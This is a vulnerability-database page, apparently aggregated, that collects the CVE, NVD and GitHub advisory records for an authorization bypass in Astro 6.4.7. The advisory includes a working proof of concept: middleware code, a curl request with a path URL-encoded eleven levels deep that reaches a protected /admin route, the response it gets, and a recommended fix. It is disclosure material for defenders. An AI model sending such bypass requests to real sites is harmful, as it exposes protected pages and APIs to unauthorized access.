CVE-2026-59731 (GCVE-0-2026-59731)

Vulnerability from cvelistv5 – Published: 2026-07-08 16:27 – Updated: 2026-07-09 14:38

Title

Astro 6.4.7 Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch

Summary

Astro is a web framework for content-driven websites. Version 6.4.7 performs authorization decisions on a partially decoded pathname after reaching the iterative URL decoder limit, while later rewrite route matching performs an additional decodeURI() operation and can resolve the request to a protected route. This issue is fixed in version 6.4.8.

Severity

8.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-09 14:38 UTC

CWE

CWE-647 - Use of Non-Canonical URL Paths for Authorization Decisions

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/withastro/astro/security/advis…	x_refsource_CONFIRM
https://github.com/withastro/astro/pull/17109	x_refsource_MISC
https://github.com/withastro/astro/commit/27c80ea…	x_refsource_MISC
https://github.com/withastro/astro/releases/tag/a…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
withastro	astro	Affected: >= 6.4.7, < 6.4.8	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-59731",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-09T14:38:51.210895Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-09T14:38:54.995Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/withastro/astro/security/advisories/GHSA-vj59-8hwv-xxmv"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "astro",
          "vendor": "withastro",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 6.4.7, \u003c 6.4.8"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Astro is a web framework for content-driven websites. Version 6.4.7 performs authorization decisions on a partially decoded pathname after reaching the iterative URL decoder limit, while later rewrite route matching performs an additional decodeURI() operation and can resolve the request to a protected route. This issue is fixed in version 6.4.8."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-647",
              "description": "CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-08T16:27:18.496Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/withastro/astro/security/advisories/GHSA-vj59-8hwv-xxmv",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/withastro/astro/security/advisories/GHSA-vj59-8hwv-xxmv"
        },
        {
          "name": "https://github.com/withastro/astro/pull/17109",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/withastro/astro/pull/17109"
        },
        {
          "name": "https://github.com/withastro/astro/commit/27c80ea92248993e5fce94b2c26d87d611ab6785",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/withastro/astro/commit/27c80ea92248993e5fce94b2c26d87d611ab6785"
        },
        {
          "name": "https://github.com/withastro/astro/releases/tag/astro@6.4.8",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/withastro/astro/releases/tag/astro@6.4.8"
        }
      ],
      "source": {
        "advisory": "GHSA-vj59-8hwv-xxmv",
        "discovery": "UNKNOWN"
      },
      "title": "Astro 6.4.7 Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-59731",
    "datePublished": "2026-07-08T16:27:18.496Z",
    "dateReserved": "2026-07-06T15:34:16.917Z",
    "dateUpdated": "2026-07-09T14:38:54.995Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-59731",
      "date": "2026-09-28",
      "epss": "0.00466",
      "percentile": "0.37809"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "astro",
                "vendor": "withastro",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003e= 6.4.7, \u003c 6.4.8"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Astro is a web framework for content-driven websites. Version 6.4.7 performs authorization decisions on a partially decoded pathname after reaching the iterative URL decoder limit, while later rewrite route matching performs an additional decodeURI() operation and can resolve the request to a protected route. This issue is fixed in version 6.4.8."
          }
        ],
        "id": "CVE-2026-59731",
        "lastModified": "2026-07-09T16:29:14.203",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 8.2,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "LOW",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 3.9,
              "impactScore": 4.2,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-59731",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "yes"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-09T14:38:51.210895Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-07-08T17:17:25.937",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/withastro/astro/commit/27c80ea92248993e5fce94b2c26d87d611ab6785"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/withastro/astro/pull/17109"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/withastro/astro/releases/tag/astro@6.4.8"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/withastro/astro/security/advisories/GHSA-vj59-8hwv-xxmv"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/withastro/astro/security/advisories/GHSA-vj59-8hwv-xxmv"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-647"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-59731",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "yes"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-07-09T14:38:51.210895Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-07-09T14:38:42.917Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/withastro/astro/security/advisories/GHSA-vj59-8hwv-xxmv"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "astro",
              "vendor": "withastro",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003e= 6.4.7, \u003c 6.4.8"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Astro is a web framework for content-driven websites. Version 6.4.7 performs authorization decisions on a partially decoded pathname after reaching the iterative URL decoder limit, while later rewrite route matching performs an additional decodeURI() operation and can resolve the request to a protected route. This issue is fixed in version 6.4.8."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 8.2,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "LOW",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-647",
                  "description": "CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-07-08T16:27:18.496Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/withastro/astro/security/advisories/GHSA-vj59-8hwv-xxmv",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/withastro/astro/security/advisories/GHSA-vj59-8hwv-xxmv"
            },
            {
              "name": "https://github.com/withastro/astro/pull/17109",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/withastro/astro/pull/17109"
            },
            {
              "name": "https://github.com/withastro/astro/commit/27c80ea92248993e5fce94b2c26d87d611ab6785",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/withastro/astro/commit/27c80ea92248993e5fce94b2c26d87d611ab6785"
            },
            {
              "name": "https://github.com/withastro/astro/releases/tag/astro@6.4.8",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/withastro/astro/releases/tag/astro@6.4.8"
            }
          ],
          "source": {
            "advisory": "GHSA-vj59-8hwv-xxmv",
            "discovery": "UNKNOWN"
          },
          "title": "Astro 6.4.7 Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-59731",
        "datePublished": "2026-07-08T16:27:18.496Z",
        "dateReserved": "2026-07-06T15:34:16.917Z",
        "dateUpdated": "2026-07-09T14:38:54.995Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-59731

Vulnerability from fkie_nvd - Published: 2026-07-08 17:17 - Updated: 2026-07-09 16:29

Severity

8.2 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/withastro/astro/commit/27c80ea92248993e5fce94b2c26d87d611ab6785
	security-advisories@github.com	https://github.com/withastro/astro/pull/17109
	security-advisories@github.com	https://github.com/withastro/astro/releases/tag/astro@6.4.8
	security-advisories@github.com	https://github.com/withastro/astro/security/advisories/GHSA-vj59-8hwv-xxmv
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/withastro/astro/security/advisories/GHSA-vj59-8hwv-xxmv

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "astro",
          "vendor": "withastro",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 6.4.7, \u003c 6.4.8"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Astro is a web framework for content-driven websites. Version 6.4.7 performs authorization decisions on a partially decoded pathname after reaching the iterative URL decoder limit, while later rewrite route matching performs an additional decodeURI() operation and can resolve the request to a protected route. This issue is fixed in version 6.4.8."
    }
  ],
  "id": "CVE-2026-59731",
  "lastModified": "2026-07-09T16:29:14.203",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.2,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 4.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-59731",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-09T14:38:51.210895Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-08T17:17:25.937",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/withastro/astro/commit/27c80ea92248993e5fce94b2c26d87d611ab6785"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/withastro/astro/pull/17109"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/withastro/astro/releases/tag/astro@6.4.8"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/withastro/astro/security/advisories/GHSA-vj59-8hwv-xxmv"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/withastro/astro/security/advisories/GHSA-vj59-8hwv-xxmv"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-647"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-VJ59-8HWV-XXMV

Vulnerability from github – Published: 2026-07-20 21:58 – Updated: 2026-07-20 21:58

Summary

Astro: Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch

Details

Astro 6.4.7 Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch

Summary

Astro 6.4.7 appears to reintroduce a middleware authorization bypass pattern when a request path is encoded more deeply than the newly introduced iterative URL decoder's maximum decoding depth.

The issue occurs because Astro performs authorization decisions on a partially decoded pathname after reaching a decoding iteration cap, while later route matching logic performs an additional decodeURI() operation and resolves the request to a protected route.

As a result, middleware and route matching may operate on different pathname representations, enabling authorization bypasses under specific application patterns.

Potential CWE: CWE-647 – Use of Non-Canonical URL Paths for Authorization Decisions

Vulnerable Pattern

Middleware authorization sees:

/%61dmin

Later rewrite route matching sees:

/admin

This discrepancy allows a request that bypasses middleware checks to subsequently resolve to a protected route.

Root Cause

Iterative Decoding Logic

PR #16967 introduced iterative URI decoding:

let iterations = 0;

while (decoded !== pathname && iterations < 10) {
    pathname = decoded;

    try {
        decoded = decodeURI(pathname);
    } catch {
        // decodeURI can fail when a decoded literal '%' forms an
        // invalid sequence with adjacent characters.
        break;
    }

    iterations++;
}

return decoded;

The intent was to ensure middleware receives a fully decoded canonical pathname.

However, once the iteration cap is reached, Astro returns the partially decoded value instead of rejecting the request.

Rewrite Route Matching

Later, Astro performs another decode during route matching:

const decodedPathname = decodeURI(pathname);

Consequently:

Middleware pathname: /%61dmin
Route matcher:       /admin

This creates a canonicalization mismatch between authorization logic and routing logic.

Proof of Concept

Middleware

import { defineMiddleware } from 'astro:middleware';

export const onRequest = defineMiddleware(async (context, next) => {
    const pathname = context.url.pathname;

    if (pathname === '/admin' || pathname.startsWith('/admin/')) {
        return new Response(
            '403 Forbidden: middleware blocked canonical /admin',
            {
                status: 403,
                headers: {
                    'content-type': 'text/plain;charset=UTF-8',
                    'x-middleware-pathname': pathname,
                },
            }
        );
    }

    if (pathname !== '/') {
        const response = await next(context.url);

        response.headers.set('x-middleware-pathname', pathname);
        response.headers.set(
            'x-vuln-pattern',
            'next(context.url) rewrite after pathname check'
        );

        return response;
    }

    return next();
});

The critical pattern is:

return next(context.url);

The middleware makes an authorization decision using a non-canonical path and then forwards the URL into Astro's rewrite machinery.

Reproduction

Protected Route

curl -i http://127.0.0.1:8989/admin

Response:

HTTP/1.1 403 Forbidden
x-middleware-pathname: /admin

403 Forbidden: middleware blocked canonical /admin

Bypass Request

curl -i http://127.0.0.1:8989/%252525252525252525252561dmin

Response:

HTTP/1.1 200 OK
x-middleware-pathname: /%61dmin
x-vuln-pattern: next(context.url) rewrite after pathname check

Admin page reached
Protected content rendered after rewrite route matching.
request url: http://127.0.0.1:8989/%61dmin

This demonstrates:

Middleware saw: /%61dmin
Router reached: /admin

Encoding Depth Analysis

The bypass occurs at encoding depth 11.

Decoder Trace

depth 0:  /%61dmin                              -> /admin
depth 1:  /%2561dmin                            -> /admin
depth 2:  /%252561dmin                          -> /admin
depth 3:  /%25252561dmin                        -> /admin
depth 4:  /%2525252561dmin                      -> /admin
depth 5:  /%252525252561dmin                    -> /admin
depth 6:  /%25252525252561dmin                  -> /admin
depth 7:  /%2525252525252561dmin                -> /admin
depth 8:  /%252525252525252561dmin              -> /admin
depth 9:  /%25252525252525252561dmin            -> /admin
depth 10: /%2525252525252525252561dmin          -> /admin
depth 11: /%252525252525252525252561dmin        -> /%61dmin

Depths 0–10 are fully decoded and blocked by middleware.

Depth 11 is the first depth where Astro returns a partially decoded pathname due to the iteration limit.

A later decodeURI() converts:

/%61dmin

into:

/admin

allowing route matching to reach the protected endpoint.

Exploit Preconditions

Exploitation requires:

1. Path-Based Authorization

Middleware performs authorization using:

context.url.pathname

For example:

if (context.url.pathname === '/admin') {
    block();
}

2. Rewrite-Based Routing

The request is subsequently passed into Astro routing via:

next(context.url)

or equivalent rewrite behavior that performs route matching after middleware execution.

Impact

An unauthenticated attacker may bypass middleware protections guarding routes such as:

/admin
/api/admin
/internal
/dashboard

if the application:

Relies on pathname-based authorization checks.
Uses rewrite behavior that performs route matching after middleware execution.

Affected applications may expose protected pages or APIs despite middleware restrictions.

Security Analysis

The issue belongs to the same vulnerability class as the previously disclosed Astro middleware encoding bypass.

Previous advisories demonstrated bypasses using:

/%2561dmin

to reach:

/admin

The 6.4.7 fix attempted to ensure middleware receives a canonical pathname by repeatedly decoding URL-encoded paths.

However, because decoding is capped at 10 iterations and partially decoded paths are returned, an attacker can simply increase encoding depth beyond the cap and recreate the authorization-routing mismatch.

The existence of a decoding limit is not itself problematic.

The vulnerability arises because Astro:

Stops decoding.
Returns a partially canonicalized pathname.
Performs additional decoding later during route matching.

Authorization and routing therefore operate on different pathname representations.

Recommended Fix

Do not return partially decoded pathnames when the iteration limit is exceeded.

Instead, reject the request whenever decoding has not stabilized before reaching the cap.

Example Fix

let iterations = 0;

while (decoded !== pathname) {
    if (iterations >= 10) {
        throw new Error('URL encoding depth exceeded');
    }

    pathname = decoded;

    try {
        decoded = decodeURI(pathname);
    } catch {
        break;
    }

    iterations++;
}

return decoded;

Additional Hardening

Astro should centralize pathname canonicalization and ensure routing logic never performs an additional independent decodeURI() on values that have already been normalized.

Authorization and route matching must operate on the exact same canonical pathname representation.

Conclusion

Astro 6.4.7 appears vulnerable to an authorization bypass caused by a pathname canonicalization mismatch introduced by the iterative decoding limit.

When URL encoding depth exceeds the decoder's maximum iteration count, middleware receives a partially decoded pathname while later route matching performs additional decoding and resolves the request to a protected route.

This can allow unauthorized access to routes protected by pathname-based middleware authorization and should be addressed by rejecting over-encoded paths or ensuring a single canonical pathname representation is used throughout request processing.

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "astro"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.4.7"
            },
            {
              "fixed": "6.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59731"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-647"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:58:27Z",
    "nvd_published_at": "2026-07-08T17:17:25Z",
    "severity": "HIGH"
  },
  "details": "# Astro 6.4.7 Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch\n\n## Summary\n\nAstro 6.4.7 appears to reintroduce a middleware authorization bypass pattern when a request path is encoded more deeply than the newly introduced iterative URL decoder\u0027s maximum decoding depth.\n\nThe issue occurs because Astro performs authorization decisions on a partially decoded pathname after reaching a decoding iteration cap, while later route matching logic performs an additional `decodeURI()` operation and resolves the request to a protected route.\n\nAs a result, middleware and route matching may operate on different pathname representations, enabling authorization bypasses under specific application patterns.\n\n**Potential CWE:** CWE-647 \u2013 Use of Non-Canonical URL Paths for Authorization Decisions\n\n---\n\n## Vulnerable Pattern\n\nMiddleware authorization sees:\n\n```text\n/%61dmin\n```\n\nLater rewrite route matching sees:\n\n```text\n/admin\n```\n\nThis discrepancy allows a request that bypasses middleware checks to subsequently resolve to a protected route.\n\n---\n\n## Root Cause\n\n### Iterative Decoding Logic\n\nPR #16967 introduced iterative URI decoding:\n\n```js\nlet iterations = 0;\n\nwhile (decoded !== pathname \u0026\u0026 iterations \u003c 10) {\n\tpathname = decoded;\n\n\ttry {\n\t\tdecoded = decodeURI(pathname);\n\t} catch {\n\t\t// decodeURI can fail when a decoded literal \u0027%\u0027 forms an\n\t\t// invalid sequence with adjacent characters.\n\t\tbreak;\n\t}\n\n\titerations++;\n}\n\nreturn decoded;\n```\n\nThe intent was to ensure middleware receives a fully decoded canonical pathname.\n\nHowever, once the iteration cap is reached, Astro returns the partially decoded value instead of rejecting the request.\n\n---\n\n### Rewrite Route Matching\n\nLater, Astro performs another decode during route matching:\n\n```js\nconst decodedPathname = decodeURI(pathname);\n```\n\nConsequently:\n\n```text\nMiddleware pathname: /%61dmin\nRoute matcher:       /admin\n```\n\nThis creates a canonicalization mismatch between authorization logic and routing logic.\n\n---\n\n## Proof of Concept\n\n### Middleware\n\n```js\nimport { defineMiddleware } from \u0027astro:middleware\u0027;\n\nexport const onRequest = defineMiddleware(async (context, next) =\u003e {\n\tconst pathname = context.url.pathname;\n\n\tif (pathname === \u0027/admin\u0027 || pathname.startsWith(\u0027/admin/\u0027)) {\n\t\treturn new Response(\n\t\t\t\u0027403 Forbidden: middleware blocked canonical /admin\u0027,\n\t\t\t{\n\t\t\t\tstatus: 403,\n\t\t\t\theaders: {\n\t\t\t\t\t\u0027content-type\u0027: \u0027text/plain;charset=UTF-8\u0027,\n\t\t\t\t\t\u0027x-middleware-pathname\u0027: pathname,\n\t\t\t\t},\n\t\t\t}\n\t\t);\n\t}\n\n\tif (pathname !== \u0027/\u0027) {\n\t\tconst response = await next(context.url);\n\n\t\tresponse.headers.set(\u0027x-middleware-pathname\u0027, pathname);\n\t\tresponse.headers.set(\n\t\t\t\u0027x-vuln-pattern\u0027,\n\t\t\t\u0027next(context.url) rewrite after pathname check\u0027\n\t\t);\n\n\t\treturn response;\n\t}\n\n\treturn next();\n});\n```\n\nThe critical pattern is:\n\n```js\nreturn next(context.url);\n```\n\nThe middleware makes an authorization decision using a non-canonical path and then forwards the URL into Astro\u0027s rewrite machinery.\n\n---\n\n## Reproduction\n\n### Protected Route\n\n```bash\ncurl -i http://127.0.0.1:8989/admin\n```\n\nResponse:\n\n```http\nHTTP/1.1 403 Forbidden\nx-middleware-pathname: /admin\n\n403 Forbidden: middleware blocked canonical /admin\n```\n\n---\n\n### Bypass Request\n\n```bash\ncurl -i http://127.0.0.1:8989/%252525252525252525252561dmin\n```\n\nResponse:\n\n```http\nHTTP/1.1 200 OK\nx-middleware-pathname: /%61dmin\nx-vuln-pattern: next(context.url) rewrite after pathname check\n\nAdmin page reached\nProtected content rendered after rewrite route matching.\nrequest url: http://127.0.0.1:8989/%61dmin\n```\n\nThis demonstrates:\n\n```text\nMiddleware saw: /%61dmin\nRouter reached: /admin\n```\n\n---\n\n## Encoding Depth Analysis\n\nThe bypass occurs at encoding depth 11.\n\n### Decoder Trace\n\n```text\ndepth 0:  /%61dmin                              -\u003e /admin\ndepth 1:  /%2561dmin                            -\u003e /admin\ndepth 2:  /%252561dmin                          -\u003e /admin\ndepth 3:  /%25252561dmin                        -\u003e /admin\ndepth 4:  /%2525252561dmin                      -\u003e /admin\ndepth 5:  /%252525252561dmin                    -\u003e /admin\ndepth 6:  /%25252525252561dmin                  -\u003e /admin\ndepth 7:  /%2525252525252561dmin                -\u003e /admin\ndepth 8:  /%252525252525252561dmin              -\u003e /admin\ndepth 9:  /%25252525252525252561dmin            -\u003e /admin\ndepth 10: /%2525252525252525252561dmin          -\u003e /admin\ndepth 11: /%252525252525252525252561dmin        -\u003e /%61dmin\n```\n\nDepths 0\u201310 are fully decoded and blocked by middleware.\n\nDepth 11 is the first depth where Astro returns a partially decoded pathname due to the iteration limit.\n\nA later `decodeURI()` converts:\n\n```text\n/%61dmin\n```\n\ninto:\n\n```text\n/admin\n```\n\nallowing route matching to reach the protected endpoint.\n\n---\n\n## Exploit Preconditions\n\nExploitation requires:\n\n### 1. Path-Based Authorization\n\nMiddleware performs authorization using:\n\n```js\ncontext.url.pathname\n```\n\nFor example:\n\n```js\nif (context.url.pathname === \u0027/admin\u0027) {\n\tblock();\n}\n```\n\n### 2. Rewrite-Based Routing\n\nThe request is subsequently passed into Astro routing via:\n\n```js\nnext(context.url)\n```\n\nor equivalent rewrite behavior that performs route matching after middleware execution.\n\n---\n\n## Impact\n\nAn unauthenticated attacker may bypass middleware protections guarding routes such as:\n\n```text\n/admin\n/api/admin\n/internal\n/dashboard\n```\n\nif the application:\n\n1. Relies on pathname-based authorization checks.\n2. Uses rewrite behavior that performs route matching after middleware execution.\n\nAffected applications may expose protected pages or APIs despite middleware restrictions.\n\n---\n\n## Security Analysis\n\nThe issue belongs to the same vulnerability class as the previously disclosed Astro middleware encoding bypass.\n\nPrevious advisories demonstrated bypasses using:\n\n```text\n/%2561dmin\n```\n\nto reach:\n\n```text\n/admin\n```\n\nThe 6.4.7 fix attempted to ensure middleware receives a canonical pathname by repeatedly decoding URL-encoded paths.\n\nHowever, because decoding is capped at 10 iterations and partially decoded paths are returned, an attacker can simply increase encoding depth beyond the cap and recreate the authorization-routing mismatch.\n\nThe existence of a decoding limit is not itself problematic.\n\nThe vulnerability arises because Astro:\n\n1. Stops decoding.\n2. Returns a partially canonicalized pathname.\n3. Performs additional decoding later during route matching.\n\nAuthorization and routing therefore operate on different pathname representations.\n\n---\n\n## Recommended Fix\n\nDo not return partially decoded pathnames when the iteration limit is exceeded.\n\nInstead, reject the request whenever decoding has not stabilized before reaching the cap.\n\n### Example Fix\n\n```js\nlet iterations = 0;\n\nwhile (decoded !== pathname) {\n\tif (iterations \u003e= 10) {\n\t\tthrow new Error(\u0027URL encoding depth exceeded\u0027);\n\t}\n\n\tpathname = decoded;\n\n\ttry {\n\t\tdecoded = decodeURI(pathname);\n\t} catch {\n\t\tbreak;\n\t}\n\n\titerations++;\n}\n\nreturn decoded;\n```\n\n### Additional Hardening\n\nAstro should centralize pathname canonicalization and ensure routing logic never performs an additional independent `decodeURI()` on values that have already been normalized.\n\nAuthorization and route matching must operate on the exact same canonical pathname representation.\n\n---\n\n## Conclusion\n\nAstro 6.4.7 appears vulnerable to an authorization bypass caused by a pathname canonicalization mismatch introduced by the iterative decoding limit.\n\nWhen URL encoding depth exceeds the decoder\u0027s maximum iteration count, middleware receives a partially decoded pathname while later route matching performs additional decoding and resolves the request to a protected route.\n\nThis can allow unauthorized access to routes protected by pathname-based middleware authorization and should be addressed by rejecting over-encoded paths or ensuring a single canonical pathname representation is used throughout request processing.",
  "id": "GHSA-vj59-8hwv-xxmv",
  "modified": "2026-07-20T21:58:27Z",
  "published": "2026-07-20T21:58:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/security/advisories/GHSA-vj59-8hwv-xxmv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59731"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/pull/17109"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/commit/27c80ea92248993e5fce94b2c26d87d611ab6785"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/withastro/astro"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/releases/tag/astro@6.4.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
